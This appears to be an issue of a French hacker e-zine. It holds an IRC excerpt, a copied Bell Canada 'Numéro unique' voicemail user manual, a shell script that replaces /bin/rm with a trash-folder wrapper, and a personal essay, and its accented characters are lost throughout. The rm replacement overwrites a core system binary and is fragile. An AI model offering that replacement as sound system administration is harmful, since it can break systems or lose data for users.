Vous trouverez tout les code et les executables sur mon site dans le dossier Mindkind.
EMail: ivanlef0u119@yahoo.fr
WebSite: http://membres.lycos.fr/moi118118




     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by IvanLeFou  |
           			                  '--------------------'





      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                         test your mailbox                               :  .
                                                                                         |  |
                                                        				 |  .
                           <wyzeman> tu veux que je spam ton tool dans le next ezine ?   '  '
 			   <g463> non                                                    |  |
                           <g463> merci quand meme                                       |  |
                           <g463> ca te ferait plus de bien  toi qu' moi anyway        |  |
                           <Wyzeman> jvois pas quesque ca me donnerais                   |  '
                           <g463> de quoi dinteressant a dire                               ;
                           <Wyzeman> hum, comme tu dis souvent : lol                     |  |
			   <g463> lol                                                    |  |
                           <g463> man                                                    |  |
                           <g463> cest pas le genre de personnes que je veux rejoindre   :  ;
                           <g463> tu piges :)                                            .  |                
                           <g463> de toute facon                                         |  |
                           <g463> ya pas un esti de chat sur #hack.fr                    '  |
			   <g463> qui sait c'est quoi un content filter                  |  |
                           <g463> lol                                                    |  '
                           <g463> ciao                                                   .  ,
                           <Wyzeman> t quand meme venu spamer ta shit sur #hack.fr       |  |
                                                                                         |  |
                           fak comme g463 voullait pas qu'on spam sont tool on   	 :  .
                           vidament dcid de le faire, mais faite attention d'apres    |  |
                           g463 vous allez surement mourrir d'une bubule d'air au        ;  |
                           cerveau si vous y allez pi que vous etes pas assez inteligent |  |
                           pour le comprendre :                                             |
                                                                                         .  ;      
                     		                                                         |  |
                                                      http://guay-leroux.com            /   '
 	                                                                               /   / B
	  		                                         		      /   / U   
  	   		                                                             /   , P   
                                     et jajouterais. comme g463 dit souvent; lol.   /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I









     	    .-- -- ---- ----.
     	 ___|  MKD1001\014  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                   bell canada black handbook  
   
  	                                       AKA 
 
                               pu besoin dachaler la telephoniste au 0
				 



         _.-+.        ____   __ __  ____    ___   _____  ____     ___   ____  __  _ 
    _.-""     '.     |    \ |  T  T|    \  /   \ |     ||    \   /  _] /    T|  l/ ]
+:""            '.   |  o  )|  |  ||  D  )Y     Y|   __j|  D  ) /  [_ Y  o  ||  ' / 
| \               '. |   _/ |  ~  ||    / |  O  ||  l_  |    / Y    _]|     ||    \
|  \            _.-+ |  |   l___, ||    \ |     ||   _] |    \ |   [_ |  _  ||     Y
|  '.       _.-"   | |  |   |     !|  .  Yl     !|  T   |  .  Y|     T|  |  ||  .  |
J    \  _.-"       L l__j   l____/ l__j\_j \___/ l__j   l__j\_jl_2006_|__j__jl__j\_j
L     +"           J                                              Still Here and Now
 +    |            |  Www.Pyrofreak.Org                               
  \   |          .+   Www.Pyrofreak.Tk
   \  |       .-'                                                     
    \ |    .-'        
     \| .-'           
      +    


         			             (((
					    (o o)
        |--,.-,.-,-.-,-,-.-,.-,.-,.,-.-,ooO--(_)--Ooo--,,.-,.--,.-,.-,.,.,..,.-.-,.|     
        Irc:          #pyrofreak @ undernet
        Website:      Www.PyroFreak.Org + Www.PyroFreak.Tk
        |--,.-,.-,-.-,-,-.-,.-,.-,.,-.-,.,-.-,.-,.-,.-,.,.,.,-.,-.-,.-,-.-,.,.-.-,.|                                     




             ,----------------,              ,---------,
        ,-----------------------,          ,"        ,"|
      ,"                      ,"|        ,"        ,"  |
     +-----------------------+  |      ,"        ,"    |
     |  .-----------------.  |  |     +---------+      |
     |  |                 |  |  |     | -==----'|      |
     |  |  PyroFreaK      |  |  |     |         |      |
     |  |  Open Your eyes!|  |  |/----|`---=    |      |
     |  |                 |  |  |   ,/|==== ooo |      ;
     |  |                 |  |  |  // |(((( [33]|    ,"
     |  `-----------------'  |," .;'| |((((     |  ,"
     +-----------------------+  ;;  | |         |,"
        /_)______________(_/  //'   | +---------+
   ___________________________/___  `,
  /  oooooooooooooooo  .o.  oooo /,   \,"-----------
 / ==ooooooooooooooo==.o.  ooo= //   ,`\--{)B     ,"
/_==__==========__==_ooo__ooo=_/'   /___________," 
                							

MANUEL VERSION TXT BELL SERVICE NUMER0 UNIQUE! 

Le service Numro unique
FORFAIT A 

1-Initialisation de votre compte
2-Accs  votre compte
3-Gestion de vos messages daccueil
4-Acheminement de vos appels au service Numro unique
5-Rception dappels avec le service Numro unique 
6-Utilisation de la fonction Directeur dappels 
7-Consultation de vos messages
8-Utilisation de la fonction Avis de rception de message
9-rception de message 
10-tablissement dune communication  
11-Gestion de la fonction Listes de distribution 
12-Utilisation de la fonction Confrence  4

 
___________________________________________________________________________________
1-Initialisation de votre compte 

Initialisation de votre service Numro unique
La premire fois que vous composez votre numro service Numro
unique, vous devez entrer votre mot de passe de bote vocale
temporaire. Ensuite, suivez simplement les directives pour crer un
nouveau mot de passe de bote vocale et enregistrer votre nom ainsi
que votre message daccueil du service Numro unique. Votre compte
est maintenant prt  utiliser.
Notes
Le mot de passe de bote vocale peut comporter de 6  15
chiffres. Pour des raisons de scurit, il ne peut commencer par
 0  ni tre constitu dune srie de chiffres rptitifs  111111 
ou dune suite squentielle  123456 .
Le nom que vous avez enregistr constituera le message daccueil
du systme.
Votre message daccueil du service Numro unique est celui
quentendront les demandeurs lorsque le service Numro unique
est activ. 

Initialisation de votre service Numro unique
 partir du site Web
Pour commencer  utiliser votre service Numro unique, vous devez
initialiser votre compte  partir du site Web. Lors de la premire
ouverture de session pour accder  votre compte Web en utilisant
votre numro service Numro unique et votre mot de passe de site
Web, lcran Modifier le mot de passe de site Web saffichera. Une fois
que vous aurez initialis votre compte en modifiant votre mot de passe
de site Web et en entrant la question de scurit ainsi que la rponse,
la page daccueil du service Numro unique saffichera  louverture
dune session.

Notes
Le mot de passe de site Web peut comporter de 8  16 caractres.
Les mots de passe Web doivent contenir au moins une lettre et au
moins un chiffre. Un exemple de mot de passe Web acceptable est:
trej8ygt. 

___________________________________________________________________________________
2-Accs  votre compte 

Accs  votre compte par tlphone
1. Composez votre numro service Numro unique.
2. Appuyez sur [#].
3. Entrez votre mot de passe de bote vocale (pour louverture de
session par tlphone).
4. Appuyez sur [#].
5. Vous entendrez les options du menu principal.
Accs  votre compte  partir du site Web
1. Allez sur le site numerounique.bell.ca.
2.  lcran Ouverture de session, entrez votre numro
service Numro unique.
3. Entrez votre mot de passe de site Web (pour louverture de
session Web seulement).
4. La page daccueil du service Numro unique saffichera. 

Accs  votre compte  laide dun appareil sans fil
Appareil portatif sans fil RIM (Blackberry)
1. Inscrivez-vous au service Go.Web : tlchargez le navigateur et
toute la documentation destine  lutilisateur sur le site Web
www.goamerica.net. (Site disponible en anglais seulement.)
2. Lorsque que vous avez accs au service Go.Web, vous
pouvez
diriger le navigateur Go.Web vers numerounique.bell.ca.,
ou rgler MyGo.Web de faon  inclure numerounique.bell.ca.
3. Ouvrez une session  laide de votre numro service Numro
unique et de votre mot de passe de bote vocale (pour louverture
de session par tlphone).

Notes
Votre mot de passe de bote vocale tlphonique sert  ouvrir une
session  laide dun appareil sans fil et par tlphone.
Votre mot de passe de site Web sert  ouvrir une session Web. 

___________________________________________________________________________________
3-Gestion de vos messages daccueil 

Enregistrement de vos messages
daccueil par tlphone
Vous pouvez enregistrer jusqu deux messages daccueil personnels
pour la messagerie vocale (Premier message personnel et Deuxime
message personnel), un message dabsence prolonge et, si vous
disposez de la fonction Directeur dappels, les messages daccueil
primaires et secondaires de la fonction Directeur dappels.
1. Composez votre numro service Numro unique et
identifiez-vous.
2. Appuyez sur [4] pour accder  vos options personnelles.
3. Appuyez sur [3] pour grer vos messages daccueil.
4. Vous pouvez choisir parmi les options suivantes du menu :
Appuyez sur [1] pour crer vos messages daccueil personnels.
Appuyez sur [2] pour grer votre message dabsence prolonge.
Appuyez sur [3] pour grer votre message daccueil
du systme (nom).
Appuyez sur [4] pour grer les messages daccueil
de la fonction Directeur dappels.
Appuyez sur [5] pour grer votre message daccueil du service
Numro unique. 

Rvision de vos messages daccueil  partir du site Web
Vous pouvez couter et slectionner vos messages daccueil sur le site
Web une fois que vous les avez enregistrs par tlphone.
1. Accdez  votre compte service Numro unique.
2. Cliquez sur service Numro unique dans la barre de navigation.
3. Cliquez sur Options dans la section des paramtres.
4. La page Options saffichera, ce qui vous permettra dcouter tous
les messages daccueil que vous avez enregistrs, ainsi que de les
activer ou de les dsactiver. 

___________________________________________________________________________________
4-Acheminement de vos appels au service Numro unique 

Le service Numro unique vous permet de renvoyer automatiquement
les appels entrants  votre numro service Numro unique  nimporte
quel numro de tlphone ou srie de numros de tlphone de votre
choix! Votre compte a t ouvert de faon  ce que tous les appels
soient renvoys  un seul numro. Suivez les tapes ci-aprs pour
renvoyer les appels en fonction dun horaire.
tablissement de Ihoraire du service Numro unique
 partir du site Web
1. Accdez  votre compte service Numro unique.
2. Cliquez sur service Numro unique dans la barre de navigation.
3. Cliquez sur Numros de tlphone dans la barre de navigation.
4. Entrez jusqu six numros de tlphone pour le renvoi dappel.
5. Cliquez sur OK.
6. Cliquez sur Horaires dans la barre de navigation.
7. Crez un horaire en entrant le nom, les jours, les heures et lordre
de composition pour lesquels vos appels doivent tre renvoys
8. Cochez la case Activ pour activer votre horaire
service Numro unique.
9. Cliquez sur OK.
10. Pour slectionner le message daccueil quentendra votre
demandeur lorsque le service Numro unique est activ, cliquez
sur Options dans la barre de navigation. Choisissez ensuite soit le
message daccueil du service Numro unique, soit le message
daccueil  quatre sonneries dans la section Comment sera tablie
la communication avec votre demandeur.
11. Le message daccueil que vous avez slectionn sera entendu par
les demandeurs lorsque le service Numro unique est activ. 

Personnalisation de votre service Numro unique  partir
du site Web
1. Accdez  votre compte service Numro unique.
2. Cliquez sur service Numro unique dans la barre de navigation.
3. Cliquez sur Options dans la barre de navigation.
4. La page Options vous permettra de grer les lments suivants :
messages daccueil, exprience du demandeur, code daccs priv
et renvoi dappel  multiples numros.
5. Personnalisez votre service Numro unique en choisissant vos
options et cliquez sur OK.

Activation et dsactivation du service Numro unique vers
un seul numro  partir du site Web
1. Accdez  votre compte service Numro unique.
2. Cliquez sur service Numro unique dans la barre de navigation.
3. Cliquez sur Rglage.
4. Slectionnez : Renvoyer tous les appels  un numro unique, puis
entrez un numro de tlphone.
5. Tous les appels entrants  votre numro service Numro unique
seront renvoys  un seul numro.
Gestion de votre service Numro unique par tlphone
1. Composez votre numro service Numro unique
et identifiez-vous.
2. Appuyez sur [4] pour accder  vos options personnelles.
3. Appuyez sur [2] pour grer le service Numro unique.
4. Vous pouvez choisir parmi les options suivantes du menu :
Appuyez sur [1] pour renvoyer les appels en fonction dun
horaire.
Appuyez sur [2] pour renvoyer les appels  un numro unique.
Appuyez sur [3] pour dsactiver le service Numro unique.


___________________________________________________________________________________
5-Rception dappels avec le service Numro unique

Rception dun appel
Le service Numro unique offre diffrentes options de traitement
des appels darrive. La fonction de filtrage des appels prsente
linformation relative au demandeur avant que vous nacceptiez lappel,
soit son numro de tlphone. Vous pouvez ensuite choisir lune des
options suivantes :
1. Pour accepter lappel, appuyez sur [1].
2. Pour refuser lappel, appuyez sur [2].
3. Pour acheminer lappel  la messagerie vocale, appuyez sur [3].
4. Select Forward calls to a single number and enter
Si le filtrage des appels est activ, vous pouvez choisir dentrer votre
mot de passe daccs  la messagerie vocale avant daccepter lappel.
Si vous ne choisissez pas cette option, il vous suffit dappuyer sur le
[1] pour accepter lappel. Si le filtrage des appels nest pas activ, la
communication est immdiatement tablie entre le demandeur et vous.
Cette option nest applicable que si vous disposez de la Fonction
Messagerie vocale du service Numro unique.

Note :
Si vous appuyez sur [2], le systme composera le numro
subsquent, tel que dfini dans votre horaire. Si nous sommes dans
limpossibilit de vous joindre, quil ny a plus de numro
 composer ou que vous avez un renvoi dappel  multiples
numros rgl  envoi collectif, nous acheminerons lappel  la
messagerie vocale.


___________________________________________________________________________________
6-Utilisation de la fonction Directeur dappels  

La fonction Directeur dappels est optionnelle. Elle fournit un service
automatis de rceptionniste et dacheminement des appels, en plus de
votre service Numro unique. Cette fonction permet dacheminer les
appels, en fonction des donnes du demandeur,  votre horaire service
Numro unique,  un autre systme de messagerie vocale ou  votre
messagerie vocale du service Numro unique, au besoin.
Rglage de votre fonction Directeur dappels 
partir du site Web
1. Accdez  votre compte service Numro unique.
2. Cliquez sur service Numro unique dans la barre de navigation.
3. Cliquez sur Directeur dappels dans la barre de navigation.
4. Vous pouvez entrer un rpertoire dau plus neuf personnes ou
services dans le champ Dsignation.
5. Slectionnez dans le menu droulant lAcheminement de lappel
que vous voulez utiliser.
6. Entrez le numro de tlphone o vous voulez transfrer lappel,
sil y a lieu.
7. Cochez la case Activer Directeur dappels pour activer votre
rpertoire.
8. Cliquez sur OK. 

Note :
Votre message daccueil pour la fonction Directeur dappels
doit correspondre prcisment  laction des touches et 
lacheminement de lappel que vous avez programms.
Messages daccueil de la fonction Directeur dappels
Deux messages daccueil peuvent tre enregistrs : un message
primaire et un message secondaire. Si les deux messages daccueil
sontenregistrs, le demandeur entend tout dabord le message primaire
et a ensuite loption dappuyer sur [*] pour entendre le message
secondaire. Le message secondaire peut fournir au demandeur des
directives dans une autre langue ou encore, fournir des renseignements
plus dtaills. 

Slection de votre intervention par dfaut suite 
lcoute des messages daccueil  partir du site Web
Une fois que les messages daccueil ont t entendus, vous pouvez
indiquer laction que le systme doit effectuer.
1. Accdez  votre compte service Numro unique.
2. Cliquez sur service Numro unique dans la barre de navigation.
3. Cliquez sur Directeur dappels dans la barre de navigation.
4. Dans la section Par dfaut, slectionnez lune des options
suivantes :
Rpter le message daccuei
Renvoyer au numro
Suivre les horaires
Acheminer  la messagerie vocale
5. Loption que vous slectionnez est laction qui sera effectue si le
demandeur nappuie sur aucune touche aprs avoir entendu le
message daccueil de la fonction Directeur dappels. 


___________________________________________________________________________________
7-Consultation de vos messages 

Consultation de vos messages par tlphone
1. Composez votre numro service Numro unique et
identifiez-vous.
2. Appuyez sur [1] [1] pour couter vos nouveaux messages.
3. Appuyez sur [1] pour passer en revue tous les messages.
4. Les messages seront entendus selon leur ordre de rception, en
commenant par le dernier message reu.
5. Les messages cods  Urgent  seront entendus avant tous les
nouveaux messages.
Consultation de vos messages  partir du site Web
1. Accdez  votre compte service Numro unique.
2. Cliquez sur Centre de messages dans la barre de navigation.
3. Vos messages seront affichs sur la page daccueil du Centre de
messages selon leur ordre de rception, en commenant par le
dernier message reu.
4. Les messages cods  Urgent  ou  Priv  seront indiqus par
le symbole demandeur  ct du Type de message.
Consultation de vos messages  laide dun
appareil sans fil
1. Accdez  votre compte service Numro unique.
2. Appuyez sur [4] pour accder au Centre de messages.
3. Appuyez sur [1] pour accder  votre bote de rception.
4. Vos messages seront prsents selon leur ordre de rception, en
commenant par le dernier message reu. 


___________________________________________________________________________________
8-Utilisation de la fonction Avis de rception de message

Lorsquun nouveau message est reu dans votre compte, vous pouvez
en tre averti par un appel tlphonique, par tlavertissement, par
courriel ou par un bref message texte sur votre cellulaire. Vous pouvez
aussi recevoir un message instantan par un logiciel de messagerie
instantane (ICQ, AIM, MSN ou Yahoo).
Rglage de la fonction Avis de rception de message
 partir du site Web
1. Accdez  votre compte service Numro unique.
2. Cliquez sur Centre de messages dans la barre de navigation.
3. Cliquez sur Ajustement du dispositif servant aux avis.
4. Indiquez les renseignements concernant la messagerie instantane,
le cellulaire ou le tlavertisseur.
5. Cliquez sur OK.
6. Cliquez sur Ajustement des avis dans la barre de navigation.
7. Cochez la case Activer Avis de rception de message.
8. Slectionnez votre mthode privilgie davis de rception de
message ainsi que les types de messages pour lesquels vous voulez
tre avis.
9. Cliquez sur OK. 


___________________________________________________________________________________
9-Envoi de messages 

Si votre abonnement comprend la fonction Messagerie vocale du
service Numro unique, vous pouvez envoyer une copie dun message
vocal ou dune tlcopie que vous avez reue  un autre numro.
Si vous ne disposez pas de la fonction Messagerie vocale du service
Numro unique, vous ne pouvez recevoir et transfrer que des
tlcopies  nimporte quel autre numro de tlcopieur.
Transfert dune tlcopie  partir du site Web
1. Accdez  votre compte service Numro unique.
2. Cliquez sur Centre de messages dans la barre de navigation.
3. Cliquez sur la dsignation de la tlcopie que vous dsirez ouvrir.
4. Cliquez sur le bouton Transfrer le message.
5. La page Transfrer le message saffichera.
6. Entrez un numro de tlcopieur dans le champ Tlcopie.
7. Cliquez sur Envoyer.
Transfert dune tlcopie par tlphone
1. Composez votre numro service Numro unique et identifiez-vous.
2. Appuyez sur [1] pour passer en revue vos messages.
3. Aprs la lecture de la tlcopie que vous voulez transfrer, appuyez
sur [6].
4. Entrez un numro de tlcopieur et appuyez ensuite sur [#].
5. Appuyez sur [1] pour envoyer la tlcopie. 

Transfert dune copie dun message vocal
 partir du site Web
1. Accdez  votre compte service Numro unique.
2. Cliquez sur Centre de messages dans la barre de navigation.
3. Cliquez sur la dsignation du message vocal que vous
dsirez ouvrir.
4. Appuyez sur la commande de lecture pour couter le
message vocal.
5. Cliquez sur le bouton Transfrer le message.
6. La page Transfrer le message saffichera.
7. Entrez un numro de tlphone dans le champ
service Numro unique.
8. Cliquez sur Envoyer.
Transfert dune copie dun message vocal par tlphone
1. Composez votre numro service Numro unique et identifiez-vous.
2. Appuyez sur [1] pour passer en revue vos messages.
3. Aprs lcoute du message vocal que vous voulez transfrer,
appuyez sur [6].
4. Appuyez sur [#].
5. Appuyez sur [5] pour slectionner les destinataires.
6. Entrez le numro de tlphone ou le code didentification 
deux chiffres de la liste de distribution, et appuyez ensuite
sur la touche [#].
7. Appuyez sur [2] pour confirmer les destinataires.
8. Appuyez sur [#] pour envoyer. 


___________________________________________________________________________________
10-tablissement dune communication  

tablissement dune communication  laide dun
numro de tlphone
Pour plus de commodit, vous pouvez mettre en mmoire jusqu neuf
numros utiliss frquemment pour la Composition abrge.
1. Accdez  votre compte service Numro unique.
2. Cliquez sur service Numro unique dans la barre de navigation.
3. Cliquez sur Composition abrge dans la section Fonctions.
4. La page dajustement de la Composition abrge saffichera.
5. Entrez une dsignation et un numro de tlphone pour chaque
Composition abrge. Vous pouvez crer jusqu neuf numros de
tlphone  Composition abrge.
tablissement dune communication  laide de la
fonction Composition abrge
1. Composez votre numro service Numro unique et identifiez-vous.
2. Appuyez sur [*] [*] pour accder  votre liste de Composition abrge,
suivi des numros de Composition abrge.
Ou,
3. Appuyez sur [3] pour tablir une communication.
4. Appuyez sur [2] pour composer  laide des numros de Composition
abrge. 


___________________________________________________________________________________
11-Gestion de la fonction Listes de distribution 

La fonction Listes de distribution nest disponible que si vous disposez
de la fonction Messagerie vocale du service Numro unique.
Gestion de la fonction Listes de distribution 
partir du site Web
Cration dune liste :
1. Accdez  votre compte service Numro unique.
2. Cliquez sur service Numro unique dans la barre de navigation.
3. Cliquez sur Listes de distribution dans la barre de navigation.
4. Cliquez sur le bouton Crer une liste.
5. Crez un code didentification  deux chiffres pour
pouvoir accder  vos listes par tlphone.
6. Entrez le numro de tlphone de la personne  contacter et
cliquez sur Ajouter pour accepter ce numro.
7. Cliquez sur OK.
Modification dune liste :
1. Accdez  votre compte service Numro unique.
2. Cliquez sur service Numro unique dans la barre de navigation.
3. Cliquez sur Listes de distribution dans la barre de navigation.
4. Vous pouvez grer une liste (incluant lajout ou la suppression
de numros) en slectionnant le code didentification de la liste
figurant sur cette page. 

Gestion de la fonction Listes de distribution
par tlphone
1. Composez votre numro service Numro unique
et identifiez-vous.
2. Appuyez sur [4] pour accder  vos options personnelles.
3. Appuyez sur [1] pour accder  la fonction Listes de distribution.
4. Vous pouvez choisir parmi les options suivantes du menu.
Appuyez sur [1] pour crer une liste.
Appuyez sur [2] pour supprimer une liste.
Appuyez sur [3] pour grer une liste.
Appuyez sur [4] pour passer en revue une liste. 


___________________________________________________________________________________
12-Utilisation de la fonction Confrence  4 

La fonction Confrence  4 vous permet dtablir des confrences
avec des participants se trouvant  de multiples endroits. Vous pouvez
ajouter jusqu trois participants, en plus de vous-mme,  votre
confrence. Vous pouvez dmarrer la confrence en tablissant la
communication, soit en composant un numro de tlphone, soit en
utilisant un numro de Composition abrge.
tablissement dune confrence  4 par tlphone
1. Composez votre numro service Numro unique et
identifiez-vous.
2. Appuyez sur [3] pour tablir une communication.
3. Appuyez sur [1] pour composer un numro de tlphone ou
appuyez sur [2] pour entrer un numro de Composition abrge.
4. Lorsque votre communication est tablie, expliquez au participant
quil sera temporairement mis en attente et appuyez sur [*] [*].
5. Appuyez sur [4] pour tablir une autre communication.
6. Composez un numro de tlphone et appuyez ensuite sur [#].
7. Lorsque votre communication est tablie, appuyez sur [*] [*]
et ensuite sur [5] pour que le deuxime participant se joigne
 la confrence. Votre confrence comporte maintenant trois
participants, incluant vous-mme.
8. Un autre participant peut se joindre  la confrence. Pour ce faire,
mettre la confrence en attente en appuyant sur [*] [*]. tablir une
autre communication en appuyant sur [4] et joindre le participant 
la confrence en appuyant sur [5]. 

Dconnection par tlphone dun participant  la confrence
1. Appuyez sur [*] [*], puis sur [1] pour dconnecter un participant de
la confrence.
2. Appuyez sur [0] pour revenir  la tlconfrence.

Note :
Lorsque vous mettez la confrence en attente en appuyant
sur [*] [*], les autres participants peuvent continuer  discuter
entre eux.
Fin de la confrence par tlphone
1. Appuyez sur [*] [*] pour mettre la confrence en attente.
2. Appuyez sur [2] pour mettre fin  la confrence. Tous les
participants sont dconnects et la confrence est termine. 




     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by fireblood  |
           			                  '--------------------'






        ____         ,-------------------------------------------------
       /    \        | Petit code qui permet de crer un dossier nommer 
      |  _   |       | .Trash dans le repertoire courant et y insert 
      | / \  |       | les fichier supprimer 
      ||   | |      /   
      (.) (.)|     /   Tout dabord vous devez renommer /bin/rm pour  
      ||   | |    <__  /bin/remove donc tapper ceci en ssh : 
      ||   | | |     |  
      ||   | | |     | mv /bin/rm /bin/remove 
      |____/|| |     |  
      |\___/ | |     | ensuite inserer ceci dans /bin/rm 
      ||   | | |     |  
      ||   | | |     | #Le Code: 
      ||   | | |     |  
      ||     | |       if ! echo $PWD |grep .Trash >/dev/null 
      | \___/  |       then 
      |        |       if [ ! -e $PWD/.Trash ]
       \______/        then  
                       mkdir $PWD/.Trash
                       fi
                       chk=`echo $@ | sed "s/-rf//g"`
                       for i in $chk ; do
                       mv "$i" $PWD/.Trash/ &>/dev/null
                       done
                       fi
                       if echo $PWD |grep .Trash >/dev/null
                       then
                       remove $@
                       fi

                       #Fin du code

                       et donner lui les drois dxecution : 
                       chmod 700 /bin/rm


                       Lindividu







     	    .-- -- ---- ----.
     	 ___|  MKD1001\015  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                   Promenades, ( Pseudo texte ) 
   
  	                                       AKA

                   quand les plaisirs de la marche ? (maintenant c4, maintenant)
                                      




Je promne dans la vie a l'cole, dans les rues... je reconnais toute la  platitude  de  cette
vie. Tout ce que je peux faire c'est me rpeter toujours les mmes choses. Les mmes questions. 
Bantes, et tellement inutiles selon moi.

Me  rpeter  que   je me rpte les mmes phrases est une habitude chez moi, jusqu'a en devenir 
compltement fous. M'touffer de respirer le mme air. Je   suis  l.  il    parait  que  c'est
diffrent. On est le 27 novembre 2005.

Mais non je dois crer moi mme "mon avenir", me trouver un but. Toujours le mme but. Mon but, 
"il faut avoir un but dans la vie, sinon je ne vaut rien". Mme si je suis vouer a  mourir, ce
qui fait instantanment tomber mon illusion d'un but qui n'existe pas.

Je bute contre la mort. Depuis que je suis la... je me pose la mme question stupide...  qu'est 
ce qui vas me donner l'illusion d'un changement aujourd'hui? Qui ? Qui vas enfin me prouver que
j'avais tort? Qui enfin vas me prouver que la vie a le moindre sens ?!    Plutt  que  de  m'en 
inventer un qui n'existe pas... "l'amour existe !" 

Le  seul   amour que j'ai vu de toute ma vie, n'existe qu'a la tlvision, et la plupart de ces
films, ne sont  la  que pour faire de l'argent... J'ai essayer de me prouver plusieurs fois que 
l'amour existe sans  jamais tomber sur une quelconque logique, tout m'a toujours ramen vers le
sexe.

J'ai   toujours  penser  que l'tre humain devait voluer en harmonie avec la nature. Encore un 
rves irralisable...

Il est trop  tt  pour  juger  la  mort...  Pseudo  contrle de sa vie..  Pseudo texte.. Autant
directement me dire que je me promne dans le vide.




http://novision.serveurperso.com/ 


 


             
     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by c3r3br4l   |
           			                  '--------------------' 						     






---------------------------------- - - -- ---------------------------------------------------
conclusion consionclu clusiocon conslucion conslcion conculsion conliscion   AKA      THE END
----------
 ----------------------------------------------------------------------------------

	jespere que encore une fois cette dose de savoir inestimer et de delire tordus vous
aurons plus, nous vous laissons donc sur cette penser sur laquel nous aimerions vous faire
mediter :

						le savoir des uns fait le malheur des autres




dite moi pas qui va narrap, narrapu!